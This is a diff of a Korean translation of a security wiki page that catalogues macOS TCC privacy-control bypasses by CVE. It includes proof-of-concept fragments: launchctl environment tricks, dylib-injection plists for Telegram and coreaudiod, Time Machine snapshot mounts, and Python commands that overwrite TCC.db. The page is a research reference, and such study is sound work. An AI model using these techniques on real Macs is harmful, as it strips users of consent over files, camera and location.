**`kTCCServiceAppleEvents`** 권한이 있는 앱은 **다른 앱을 제어**할 수 있습니다. 이는 다른 앱에 부여된 권한을 **악용**할 수 있음을 의미합니다.
|
||||
|
||||
Apple 스크립트에 대한 자세한 정보는 다음을 확인하십시오:
|
||||
|
||||
|
@ -87,7 +87,7 @@ Apple 스크립트에 대한 자세한 정보는 다음을 확인하십시오:
|
|||
[macos-apple-scripts.md](macos-apple-scripts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
예를 들어, 앱이 **`iTerm`에 대한 자동화 권한**을 가지고 있다면, 이 예제에서 **`Terminal`**이 iTerm에 대한 액세스 권한을 가지고 있습니다:
|
||||
예를 들어, 앱이 **`iTerm`에 대한 자동화 권한**을 가지고 있는 경우, 이 예에서 **`Terminal`**이 iTerm에 대한 액세스 권한을 가지고 있습니다:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -127,10 +127,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
|||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
**tccd 데몬**은 **`HOME`** **env** 변수를 사용하여 TCC 사용자 데이터베이스에 액세스합니다: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
사용자 영역의 **tccd 데몬**은 **`HOME`** **env** 변수를 사용하여 TCC 사용자 데이터베이스에 액세스합니다: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
[이 Stack Exchange 게시물](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)에 따르면, TCC 데몬은 현재 사용자 도메인 내에서 `launchd`를 통해 실행되므로 **전달되는 모든 환경 변수를 제어**할 수 있습니다.\
|
||||
따라서 **공격자는 `$HOME` 환경** 변수를 **`launchctl`**에서 **제어된 디렉토리를 가리키도록 설정**한 후 **TCC** 데몬을 **재시작**하고 **TCC 데이터베이스를 직접 수정**하여 **최종 사용자에게 프롬프트 없이 모든 TCC 권한을 부여**할 수 있습니다.\
|
||||
[이 스택 오버플로우 게시물](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)에 따르면 TCC 데몬은 `launchd`를 통해 현재 사용자 도메인 내에서 실행되므로 **모든 환경 변수를 제어**할 수 있습니다.\
|
||||
따라서 **공격자는 `$HOME` 환경** 변수를 **`launchctl`**에서 **제어된 디렉토리를 가리키도록** 설정한 후 **TCC** 데몬을 **재시작**하고 **TCC 데이터베이스를 직접 수정**하여 **최종 사용자에게 프롬프트 없이** **모든 TCC 권한을 부여**할 수 있습니다.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
|
@ -160,15 +160,15 @@ $> ls ~/Documents
|
|||
```
|
||||
### CVE-2021-30761 - 노트
|
||||
|
||||
노트는 TCC로 보호된 위치에 액세스 권한이 있었지만 노트를 생성하면 이는 **보호되지 않은 위치에 생성**됩니다. 따라서, 노트에 보호된 파일을 복사하도록 요청하고 그 후 파일에 액세스할 수 있습니다:
|
||||
노트는 TCC로 보호된 위치에 액세스 권한이 있었지만 노트를 생성하면 **보호되지 않은 위치에 생성**됩니다. 따라서, 노트에 보호된 파일을 복사하도록 노트에 요청한 다음 파일에 액세스할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### CVE-2021-30782 - 이동
|
||||
|
||||
라이브러리 `libsecurity_translocate`를 사용하는 `/usr/libexec/lsd` 바이너리는 `com.apple.private.nullfs_allow` 허용 권한을 가졌으며 이를 통해 **nullfs** 마운트를 생성하고 `com.apple.private.tcc.allow` 허용 권한을 가졌으며 **`kTCCServiceSystemPolicyAllFiles`**로 모든 파일에 액세스할 수 있었습니다.
|
||||
라이브러리 `libsecurity_translocate`를 사용하는 `/usr/libexec/lsd` 바이너리는 `com.apple.private.nullfs_allow` 허용 권한을 가지고 있어 **nullfs** 마운트를 생성할 수 있었으며 `com.apple.private.tcc.allow` 허용 권한을 가지고 **`kTCCServiceSystemPolicyAllFiles`**로 모든 파일에 액세스할 수 있었습니다.
|
||||
|
||||
"Library"에 격리 속성을 추가하고 **`com.apple.security.translocation`** XPC 서비스를 호출한 다음 라이브러리를 **`$TMPDIR/AppTranslocation/d/d/Library`**로 매핑하여 라이브러리 내의 모든 문서에 **액세스**할 수 있었습니다.
|
||||
"Library"에 격리 속성을 추가하고 **`com.apple.security.translocation`** XPC 서비스를 호출한 다음 Library를 **`$TMPDIR/AppTranslocation/d/d/Library`**로 매핑하여 Library 내의 모든 문서에 **액세스**할 수 있었습니다.
|
||||
|
||||
### CVE-2023-38571 - 음악 및 TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
|
@ -177,12 +177,12 @@ $> ls ~/Documents
|
|||
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
||||
이 **`rename(a, b);`** 동작은 **경쟁 조건**에 취약하며, `Automatically Add to Music.localized` 폴더에 가짜 **TCC.db** 파일을 넣고 새 폴더(b)가 생성될 때 파일을 복사하고 삭제하고 **`~/Library/Application Support/com.apple.TCC`**/로 가리킬 수 있습니다.
|
||||
이 **`rename(a, b);`** 동작은 **경쟁 조건**에 취약하며, `Automatically Add to Music.localized` 폴더에 가짜 **TCC.db** 파일을 넣고 새 폴더(b)가 생성될 때 파일을 복사하고 삭제하고 **`~/Library/Application Support/com.apple.TCC`**를 가리키도록 할 수 있습니다.
|
||||
|
||||
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
|
||||
|
||||
**`SQLITE_SQLLOG_DIR="경로/폴더"`**를 설정하면 **모든 열린 db가 해당 경로로 복사**됩니다. 이 CVE에서는 이 제어가 **TCC 데이터베이스를 가진 프로세스에 의해 열릴 SQLite 데이터베이스에 쓰기** 위해 남용되었으며, 그런 다음 **파일 이름에 심볼릭 링크를 사용하여** **`SQLITE_SQLLOG_DIR`**을 남용하여 해당 데이터베이스가 **열릴 때** 사용자 **TCC.db가 열린 것으로 덮어씌워졌습니다**.\
|
||||
**자세한 정보**는 [**여기의 설명서**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **및** [**이 토크에서**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s) 확인할 수 있습니다.
|
||||
**`SQLITE_SQLLOG_DIR="경로/폴더"`**를 설정하면 **모든 열린 db가 해당 경로로 복사**됩니다. 이 CVE에서는 이 제어가 남용되어 **TCC 데이터베이스를 가진 프로세스에 의해 열릴 SQLite 데이터베이스**에 **쓰기**되고, **파일 이름에 심볼릭 링크**를 사용하여 **`SQLITE_SQLLOG_DIR`**를 남용하여 해당 데이터베이스가 **열릴 때** 사용자 **TCC.db가 열린 것으로 덮어씌워**졌습니다.\
|
||||
**자세한 정보**는 [**여기의 설명서**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **및** [**여기의 강연**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s)에서 확인할 수 있습니다.
|
||||
|
||||
### **SQLITE\_AUTO\_TRACE**
|
||||
|
||||
|
@ -195,64 +195,64 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
|||
```
|
||||
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
|
||||
|
||||
**이 **env 변수는 `Metal` 프레임워크**에서 사용되며, 주로 `Music`과 같은 여러 프로그램에 의존성이 있으며 FDA가 있습니다.
|
||||
**이 **환경 변수는 `Metal` 프레임워크에서 사용**되며, 주로 `Music`과 같은 여러 프로그램에 의존성이 있으며 FDA가 있습니다.
|
||||
|
||||
다음을 설정합니다: `MTL_DUMP_PIPELINES_TO_JSON_FILE="경로/이름"`. `경로`가 유효한 디렉토리인 경우 버그가 트리거되고 `fs_usage`를 사용하여 프로그램에서 무슨 일이 일어나고 있는지 볼 수 있습니다:
|
||||
|
||||
* `open()`이 호출된 파일은 `경로/.dat.nosyncXXXX.XXXXXX` (X는 무작위)로 호출됩니다.
|
||||
* 하나 이상의 `write()`가 파일에 내용을 씁니다 (이를 제어할 수 없음)
|
||||
* `경로/.dat.nosyncXXXX.XXXXXX`가 `rename()`을 통해 `경로/이름`으로 변경됩니다.
|
||||
* `경로/.dat.nosyncXXXX.XXXXXX`가 `rename()`을 통해 `경로/이름`으로 이름이 바뀝니다.
|
||||
|
||||
이것은 임시 파일 쓰기이며, **보안이 되지 않은 `rename(old, new)`**를 따릅니다.
|
||||
|
||||
이것은 **구별된 이전 및 새 경로를 해결해야 하기 때문에 안전하지 않습니다.** 이는 시간이 걸리고 Race Condition에 취약할 수 있습니다. 자세한 정보는 `xnu` 함수 `renameat_internal()`을 확인하십시오.
|
||||
**이것은 이전과 새 경로를 별도로 해결해야 하기 때문에 안전하지 않습니다.** 이는 시간이 걸리고 Race Condition에 취약할 수 있습니다. 자세한 정보는 `xnu` 함수 `renameat_internal()`을 확인하십시오.
|
||||
|
||||
{% hint style="danger" %}
|
||||
따라서, 특권 프로세스가 제어하는 폴더에서 이름을 변경하는 경우, RCE를 성공시키고 특권 앱이 만든 파일을 열어 FD를 저장할 수 있습니다.
|
||||
따라서, 특권 프로세스가 제어하는 폴더에서 이름을 바꾸는 경우, RCE를 얻을 수 있으며 다른 파일에 액세스하거나 이 CVE에서처럼 특권 앱이 생성한 파일을 열어 FD를 저장할 수 있습니다.
|
||||
|
||||
이름을 변경하는 경우 제어하는 폴더에 접근하면서 소스 파일을 수정하거나 FD가 있는 경우, 대상 파일(또는 폴더)을 심볼릭 링크로 지정하여 원하는 시점에 쓸 수 있습니다.
|
||||
이름 바꾸기가 제어하는 폴더에 액세스하면 소스 파일을 수정하거나 FD가 있는 동안 대상 파일(또는 폴더)을 심볼릭 링크로 지정하여 원하는 때마다 쓸 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
이것이 CVE에서의 공격이었습니다: 예를 들어 사용자의 `TCC.db`를 덮어쓰려면:
|
||||
|
||||
* `/Users/hacker/ourlink`를 `/Users/hacker/Library/Application Support/com.apple.TCC/`로 지정하도록 만듭니다.
|
||||
* `/Users/hacker/ourlink`를 `/Users/hacker/Library/Application Support/com.apple.TCC/`로 지정하는 링크를 만듭니다.
|
||||
* 디렉토리 `/Users/hacker/tmp/`를 생성합니다.
|
||||
* `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`로 설정합니다.
|
||||
* 이 환경 변수로 `Music`을 실행하여 버그를 트리거합니다.
|
||||
* `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`의 `open()`을 포착합니다 (X는 무작위)
|
||||
* 여기서 우리는 또한 이 파일을 쓰기 위해 `open()`하고 파일 디스크립터를 보유합니다.
|
||||
* `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X는 무작위)의 `open()`을 잡습니다.
|
||||
* 여기서 우리는 쓰기 위해 이 파일을 열고 파일 디스크립터를 보유합니다.
|
||||
* `/Users/hacker/tmp`를 `/Users/hacker/ourlink`로 **루프 안에서 원자적으로 전환**합니다.
|
||||
* 이것을 우리가 성공할 가능성을 극대화하기 위해 반복합니다. 경쟁 창은 매우 짧기 때문에 경쟁에서 지는 것은 무시할 수 있습니다.
|
||||
* 이것을 성공할 가능성을 극대화하기 위해 반복합니다. 경쟁 창이 매우 짧기 때문에 경쟁에서 지는 것은 무시해도 됩니다.
|
||||
* 잠시 기다립니다.
|
||||
* 행운이 따르는지 테스트합니다.
|
||||
* 그렇지 않으면 처음부터 다시 실행합니다.
|
||||
|
||||
더 많은 정보는 [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)에서 확인할 수 있습니다.
|
||||
자세한 정보는 [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)에서 확인할 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
이제, 환경 변수 `MTL_DUMP_PIPELINES_TO_JSON_FILE`을 사용하려고 하면 앱이 실행되지 않습니다.
|
||||
이제 환경 변수 `MTL_DUMP_PIPELINES_TO_JSON_FILE`을 사용하려고 하면 앱이 실행되지 않습니다.
|
||||
{% endhint %}
|
||||
|
||||
### Apple Remote Desktop
|
||||
### Apple 원격 데스크톱
|
||||
|
||||
루트로이서이 서비스를 활성화할 수 있으며 **ARD 에이전트는 전체 디스크 액세스**를 갖게 되어 사용자가 새로운 **TCC 사용자 데이터베이스를 복사**하도록 남용할 수 있습니다.
|
||||
루트로이서이 서비스를 활성화할 수 있으며 **ARD 에이전트는 전체 디스크 액세스**를 갖게 되어 사용자가 새 **TCC 사용자 데이터베이스를 복사**하도록 남용할 수 있습니다.
|
||||
|
||||
## **NFSHomeDirectory**별
|
||||
|
||||
TCC는 사용자의 홈 폴더에 있는 데이터베이스를 사용하여 사용자의 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**에서 사용자에게 특정 리소스에 대한 액세스를 제어합니다.\
|
||||
따라서 사용자가 `$HOME` 환경 변수를 **다른 폴더**를 가리키도록 재시작할 수 있다면, 사용자는 **/Library/Application Support/com.apple.TCC/TCC.db**에 새로운 TCC 데이터베이스를 생성하고 TCC를 속여 어떤 앱에 대한 TCC 권한을 부여할 수 있습니다.
|
||||
TCC는 사용자의 홈 폴더에있는 데이터베이스를 사용하여 사용자의 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**에서 사용자에게 특정 리소스에 대한 액세스를 제어합니다.\
|
||||
따라서 사용자가 `$HOME` 환경 변수를 **다른 폴더**를 가리키도록 재시작할 수 있다면, 사용자는 **/Library/Application Support/com.apple.TCC/TCC.db**에 새 TCC 데이터베이스를 생성하고 TCC를 속여 어떤 앱에 대한 TCC 권한을 부여할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
Apple은 사용자 프로필 내에 저장된 설정을 사용하여 **`NFSHomeDirectory`** 속성에 대한 **`$HOME` 값**을 사용합니다. 따라서 이 값을 수정할 권한이 있는 애플리케이션을 침해한다면 (**`kTCCServiceSystemPolicySysAdminFiles`**), TCC 우회를 위해 이 옵션을 **무기화**할 수 있습니다.
|
||||
Apple은 사용자 프로필에 저장된 설정을 사용하여 **`NFSHomeDirectory`** 속성에 대한 **`$HOME` 값**을 사용합니다. 따라서 이 값을 수정할 권한이있는 애플리케이션을 침해한다면 (**`kTCCServiceSystemPolicySysAdminFiles`**), TCC 우회를 위해이 옵션을 **무기화**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### [CVE-2020–9934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
||||
### [CVE-2020-27937 - Directory Utility](./#cve-2020-27937-directory-utility-1)
|
||||
### [CVE-2020-27937 - 디렉토리 유틸리티](./#cve-2020-27937-directory-utility-1)
|
||||
|
||||
### CVE-2021-30970 - Powerdir
|
||||
|
||||
**첫 번째 POC**은 [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) 및 [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)를 사용하여 사용자의 **HOME** 폴더를 수정합니다.
|
||||
**첫 번째 POC**는 [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) 및 [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)를 사용하여 사용자의 **HOME** 폴더를 수정합니다.
|
||||
|
||||
1. 대상 앱에 대한 _csreq_ 블롭을 가져옵니다.
|
||||
2. 필요한 액세스 및 _csreq_ 블롭이 있는 가짜 _TCC.db_ 파일을 심어놓습니다.
|
||||
|
@ -261,8 +261,8 @@ Apple은 사용자 프로필 내에 저장된 설정을 사용하여 **`NFSHomeD
|
|||
5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)를 사용하여 수정된 디렉토리 서비스 항목을 가져옵니다.
|
||||
6. 사용자의 _tccd_를 중지하고 프로세스를 다시 시작합니다.
|
||||
|
||||
두 번째 POC는 **`/usr/libexec/configd`**를 사용하여 `com.apple.private.tcc.allow`가 `kTCCServiceSystemPolicySysAdminFiles` 값을 가지고 있었습니다.\
|
||||
**`configd`**를 **`-t`** 옵션으로 실행할 수 있었기 때문에, 공격자는 **사용자의 홈 디렉토리를 변경**하는 **`configd` 코드 주입**으로 사용자의 홈 디렉토리를 변경하는 **`dsexport`** 및 **`dsimport`** 방법을 대체할 수 있었습니다.
|
||||
두 번째 POC는 **`/usr/libexec/configd`**를 사용하여 `com.apple.private.tcc.allow`가 값 `kTCCServiceSystemPolicySysAdminFiles`로 있는 것을 이용했습니다.\
|
||||
**`configd`**를 **`-t`** 옵션으로 실행할 수 있었기 때문에 공격자는 **사용자의 홈 디렉토리를 변경**하는 **`configd` 코드 주입**으로 사용자의 홈 디렉토리를 변경하는 **`dsexport`** 및 **`dsimport`** 방법을 대체할 수 있었습니다.
|
||||
|
||||
자세한 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)를 확인하십시오.
|
||||
|
||||
|
@ -274,21 +274,21 @@ Apple은 사용자 프로필 내에 저장된 설정을 사용하여 **`NFSHomeD
|
|||
[macos-proces-abuse](../../../macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
또한, TCC 우회를 위해 발견된 가장 일반적인 프로세스 주입은 **플러그인(라이브러리 로드)**를 통해 이루어집니다.\
|
||||
플러그인은 일반적으로 라이브러리 또는 plist 형식의 추가 코드로, **주 애플리케이션에 의해 로드**되어 해당 컨텍스트에서 실행됩니다. 따라서 주 애플리케이션이 TCC 제한 파일에 액세스 권한이 있었거나 엔터티먼트를 부여했다면, **사용자 정의 코드도 해당 권한을 갖게 됩니다**.
|
||||
또한 TCC 우회를 위해 발견된 가장 일반적인 프로세스 주입은 **플러그인(라이브러리 로드)**를 통해 이루어집니다.\
|
||||
플러그인은 일반적으로 라이브러리 또는 plist 형식의 추가 코드이며, **주 애플리케이션에 의해 로드**되어 해당 컨텍스트에서 실행됩니다. 따라서 주 애플리케이션이 TCC 제한 파일에 액세스 권한이 있었거나 엔트itlement를 부여했다면, **사용자 지정 코드도 해당 권한을 갖게 됩니다**.
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
### CVE-2020-27937 - 디렉토리 유틸리티
|
||||
|
||||
`/System/Library/CoreServices/Applications/Directory Utility.app` 애플리케이션은 **`kTCCServiceSystemPolicySysAdminFiles`** 엔터티먼트를 가지고 있으며, **`.daplug`** 확장자를 가진 플러그인을 로드하고 **강화된** 런타임이 없었습니다.
|
||||
애플리케이션 `/System/Library/CoreServices/Applications/Directory Utility.app`은 **`kTCCServiceSystemPolicySysAdminFiles`** 엔트itlement를 가지고 있으며 **`.daplug`** 확장자를 가진 플러그인을 로드하고 **강화된** 런타임이 없었습니다.
|
||||
|
||||
이 CVE를 무기화하기 위해 **`NFSHomeDirectory`**가 변경되어 (이전 엔터티먼트를 남용) 사용자의 TCC 데이터베이스를 **인수**할 수 있도록 변경되었습니다.
|
||||
이 CVE를 무기화하기 위해 **`NFSHomeDirectory`**가 변경되어 (이전 엔트itlement를 남용) 사용자의 TCC 데이터베이스를 **인수**하여 TCC를 우회할 수 있습니다.
|
||||
|
||||
자세한 정보는 [**원본 보고서**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)를 확인하십시오.
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
**`/usr/sbin/coreaudiod`** 바이너리는 `com.apple.security.cs.disable-library-validation` 및 `com.apple.private.tcc.manager` 엔타이틀먼트를 가졌습니다. 첫 번째는 **코드 인젝션을 허용**하고 두 번째는 **TCC를 관리할 수 있는 권한**을 부여했습니다.
|
||||
바이너리 **`/usr/sbin/coreaudiod`**는 엔타이틀먼트 `com.apple.security.cs.disable-library-validation`과 `com.apple.private.tcc.manager`를 가졌습니다. 첫 번째는 **코드 인젝션을 허용**하고 두 번째는 **TCC를 관리할 수 있는 권한**을 부여했습니다.
|
||||
|
||||
이 바이너리는 `/Library/Audio/Plug-Ins/HAL` 폴더에서 **서드 파티 플러그인을 로드**할 수 있었기 때문에, 다음 PoC를 사용하여 **플러그인을 로드하고 TCC 권한을 남용**할 수 있었습니다:
|
||||
이 바이너리는 `/Library/Audio/Plug-Ins/HAL` 폴더에서 **서드 파티 플러그인을 로드**할 수 있었기 때문에, 이 PoC를 사용하여 **플러그인을 로드하고 TCC 권한을 남용**할 수 있었습니다:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <Security/Security.h>
|
||||
|
@ -319,15 +319,15 @@ exit(0);
|
|||
|
||||
### 장치 추상화 레이어 (DAL) 플러그인
|
||||
|
||||
**`kTCCServiceCamera`**를 사용하는 앱(Core Media I/O를 통해 카메라 스트림을 열기 위한 시스템 앱)은 `/Library/CoreMediaIO/Plug-Ins/DAL`에 위치한 **이 플러그인들을** 프로세스 내에서 로드합니다(SIP 제한 없음).
|
||||
**`kTCCServiceCamera`**를 사용하는 Core Media I/O를 통해 카메라 스트림을 열 수 있는 시스템 애플리케이션은 `/Library/CoreMediaIO/Plug-Ins/DAL`에 위치한 **이 플러그인들을 프로세스에 로드**합니다(SIP 제한 없음).
|
||||
|
||||
일반 **생성자**가 포함된 라이브러리를 거기에 저장하는 것만으로도 **코드 주입**이 가능합니다.
|
||||
일반 **생성자**가 포함된 라이브러리를 거기에 저장하는 것만으로도 **코드를 주입**하는 데 작동합니다.
|
||||
|
||||
이에 취약한 여러 Apple 앱들이 있었습니다.
|
||||
이에 취약한 여러 Apple 애플리케이션이 있었습니다.
|
||||
|
||||
### Firefox
|
||||
|
||||
Firefox 앱은 `com.apple.security.cs.disable-library-validation` 및 `com.apple.security.cs.allow-dyld-environment-variables` 엔터티먼트를 가지고 있었습니다:
|
||||
Firefox 애플리케이션은 `com.apple.security.cs.disable-library-validation` 및 `com.apple.security.cs.allow-dyld-environment-variables` 엔터티먼트를 가지고 있었습니다:
|
||||
```xml
|
||||
codesign -d --entitlements :- /Applications/Firefox.app
|
||||
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||
|
@ -353,15 +353,17 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
더 자세한 정보를 원하시면 [**원본 보고서를 확인하세요**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||
|
||||
### CVE-2020-10006
|
||||
|
||||
바이너리 `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl`에는 **`com.apple.private.tcc.allow`** 및 **`com.apple.security.get-task-allow`** 허용 권한이 있었으며, 이를 통해 프로세스 내부에 코드를 삽입하고 TCC 권한을 사용할 수 있었습니다.
|
||||
`/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` 바이너리에는 **`com.apple.private.tcc.allow`** 및 **`com.apple.security.get-task-allow`** 허용권이 있었으며, 이를 통해 프로세스 내부에 코드를 삽입하고 TCC 권한을 사용할 수 있었습니다.
|
||||
|
||||
### CVE-2023-26818 - Telegram
|
||||
### CVE-2023-26818 - 텔레그램
|
||||
|
||||
Telegram은 **`com.apple.security.cs.allow-dyld-environment-variables`** 및 **`com.apple.security.cs.disable-library-validation`** 허용 권한이 있었기 때문에 **카메라로 녹화하는 등의 권한에 액세스**할 수 있었습니다. [**해당 내용은 여기에서 확인할 수 있습니다**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
텔레그램은 **`com.apple.security.cs.allow-dyld-environment-variables`** 및 **`com.apple.security.cs.disable-library-validation`** 허용권을 가지고 있어서, 이를 악용하여 카메라로 녹화하는 등의 권한에 액세스할 수 있었습니다. [**해당 페이로드를 여기서 찾을 수 있습니다**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
환경 변수를 사용하여 라이브러리를 로드하는 방법에 주목하십시오. **사용자 정의 plist**를 만들어 이 라이브러리를 삽입하고 **`launchctl`**을 사용하여 실행했습니다:
|
||||
환경 변수를 사용하여 라이브러리를 로드하는 방법에 주목하십시오. **사용자 정의 plist**를 만들어 이 라이브러리를 삽입하고 **`launchctl`**를 사용하여 이를 실행하는 방법을 사용했습니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -397,7 +399,7 @@ launchctl load com.telegram.launcher.plist
|
|||
|
||||
### 터미널 스크립트
|
||||
|
||||
기술 인력이 사용하는 컴퓨터에서는 터미널에 **전체 디스크 액세스 (FDA)**를 부여하는 것이 일반적입니다. 그리고 **`.terminal`** 스크립트를 호출하는 것이 가능합니다.
|
||||
기술 인원이 사용하는 컴퓨터에서는 터미널에게 **전체 디스크 액세스 (FDA)**를 부여하는 것이 일반적입니다. 그리고 **`.terminal`** 스크립트를 호출하는 것이 가능합니다.
|
||||
|
||||
**`.terminal`** 스크립트는 다음과 같은 명령을 **`CommandString`** 키에서 실행하는 이러한 plist 파일입니다:
|
||||
```xml
|
||||
|
@ -432,8 +434,8 @@ exploit_location]; task.standardOutput = pipe;
|
|||
|
||||
### CVE-2020-9771 - mount\_apfs TCC 우회 및 권한 상승
|
||||
|
||||
**어떤 사용자** (심지어 권한이 없는 사용자도)는 타임 머신 스냅샷을 생성하고 마운트하여 해당 스냅샷의 **모든 파일에 액세스**할 수 있습니다.\
|
||||
사용된 응용 프로그램(예: `Terminal`)이 **전체 디스크 액세스**(FDA) 권한(`kTCCServiceSystemPolicyAllfiles`)을 가지고 있어야 하며, 이 권한은 관리자에 의해 부여되어야 합니다.
|
||||
**모든 사용자** (심지어 권한이 없는 사용자도)는 타임 머신 스냅샷을 생성하고 마운트하여 해당 스냅샷의 **모든 파일에 액세스**할 수 있습니다.\
|
||||
**Full Disk Access** (FDA) 액세스(`kTCCServiceSystemPolicyAllfiles`)를 가져야 하는 응용 프로그램(예: `Terminal`)에 대한 **유일한 권한**은 관리자에 의해 부여되어야 합니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -457,7 +459,7 @@ ls /tmp/snap/Users/admin_user # This will work
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
보다 자세한 설명은 [**원본 보고서에서 찾을 수 있습니다**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
|
||||
더 자세한 설명은 [**원본 보고서에서 찾을 수 있습니다**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
|
||||
|
||||
### CVE-2021-1784 및 CVE-2021-30808 - TCC 파일을 덮어쓰기
|
||||
|
||||
|
@ -484,7 +486,7 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
|
|||
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
|
||||
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
```
|
||||
**원본 글**에서 **전체 악용**을 확인하세요.
|
||||
**원본 설명**에서 **전체 악용**을 확인하세요.
|
||||
|
||||
### asr
|
||||
|
||||
|
@ -493,7 +495,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
|||
### 위치 서비스
|
||||
|
||||
**`/var/db/locationd/clients.plist`**에는 **위치 서비스에 액세스할 수 있는 클라이언트를 나타내는** 세 번째 TCC 데이터베이스가 있습니다.\
|
||||
폴더 **`/var/db/locationd/`는 DMG 장착을 방지하지 않았기 때문에** 우리 자신의 plist를 장착할 수 있었습니다.
|
||||
폴더 **`/var/db/locationd/`는 DMG 장착으로부터 보호되지 않았기 때문에** 우리 자신의 plist를 장착할 수 있었습니다.
|
||||
|
||||
## 시작 프로그램에 의해
|
||||
|
||||
|
@ -503,19 +505,19 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
|||
|
||||
## grep에 의해
|
||||
|
||||
여러 경우에 파일에는 이메일, 전화번호, 메시지 등과 같은 민감한 정보가 비보호 위치에 저장될 수 있습니다 (이는 Apple의 취약점으로 간주됩니다).
|
||||
여러 경우에 파일은 이메일, 전화번호, 메시지 등과 같은 민감한 정보를 비보호 위치에 저장할 수 있습니다 (이는 Apple의 취약점으로 간주됩니다).
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 합성 클릭
|
||||
|
||||
이제는 작동하지 않지만, 과거에는 [**작동했습니다**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
이 방법은 더 이상 작동하지 않지만, [**과거에는 작동했습니다**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**CoreGraphics 이벤트**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf)를 사용하는 다른 방법:
|
||||
